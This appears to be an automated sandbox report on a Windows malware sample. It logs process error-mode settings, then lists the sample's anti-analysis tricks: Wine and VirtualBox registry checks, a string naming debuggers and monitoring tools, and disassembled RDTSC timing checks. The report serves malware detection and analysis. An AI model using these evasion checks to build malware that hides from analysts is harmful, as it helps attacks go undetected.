Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_2-9722

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EE14 second address: D8EE34 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD7251DA7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD7251DA7E2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07DC3 second address: F07DCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07DCF second address: F07DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EA7C second address: F0EA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EA82 second address: F0EA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EA8B second address: F0EA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EA91 second address: F0EA95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EBF0 second address: F0EBFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jno 00007FD724C6C5D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F109E9 second address: F109ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10D55 second address: F10DB8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD724C6C5D8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub dword ptr [ebp+122D3529h], eax 0x00000015 push 00000000h 0x00000017 jmp 00007FD724C6C5DAh 0x0000001c push FC07A49Ah 0x00000021 push eax 0x00000022 push esi 0x00000023 jmp 00007FD724C6C5E2h 0x00000028 pop esi 0x00000029 pop eax 0x0000002a add dword ptr [esp], 03F85BE6h 0x00000031 mov dx, cx 0x00000034 push 00000003h 0x00000036 sbb dh, 00000000h 0x00000039 push 00000000h 0x0000003b mov edx, eax 0x0000003d push 00000003h 0x0000003f push ebx 0x00000040 mov dword ptr [ebp+122D3608h], edx 0x00000046 pop edi 0x00000047 push A9B27319h 0x0000004c push eax 0x0000004d push edx 0x0000004e push ecx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DB8 second address: F10DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DBD second address: F10DC2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DC2 second address: F10DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 164D8CE7h 0x0000000e mov cx, EBEBh 0x00000012 lea ebx, dword ptr [ebp+1245588Fh] 0x00000018 clc 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD7251DA7DCh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DEC second address: F10DF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DF2 second address: F10DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DF8 second address: F10DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DFC second address: F10E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23D32 second address: F23D38 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F325AA second address: F325B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jnc 00007FD7251DA7D6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F325B9 second address: F325BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02A96 second address: F02AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD7251DA7D6h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02AA6 second address: F02AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3088F second address: F30895 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F309DF second address: F309EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007FD724C6C5D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F309EB second address: F309F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F309F3 second address: F30A2E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD724C6C5DCh 0x00000008 jnl 00007FD724C6C5D6h 0x0000000e push ebx 0x0000000f push esi 0x00000010 pop esi 0x00000011 je 00007FD724C6C5D6h 0x00000017 pop ebx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push esi 0x0000001c pushad 0x0000001d popad 0x0000001e pop esi 0x0000001f pushad 0x00000020 jmp 00007FD724C6C5E0h 0x00000025 jl 00007FD724C6C5D6h 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30A2E second address: F30A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD7251DA7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30B7F second address: F30BC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DAh 0x00000007 jmp 00007FD724C6C5E6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 ja 00007FD724C6C5F5h 0x00000016 jmp 00007FD724C6C5E9h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30BC6 second address: F30BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30BD1 second address: F30BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31039 second address: F31043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31043 second address: F31061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD724C6C5E8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3132F second address: F31338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31338 second address: F3133E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3133E second address: F3134E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FD7251DA7D6h 0x00000010 rdtsc
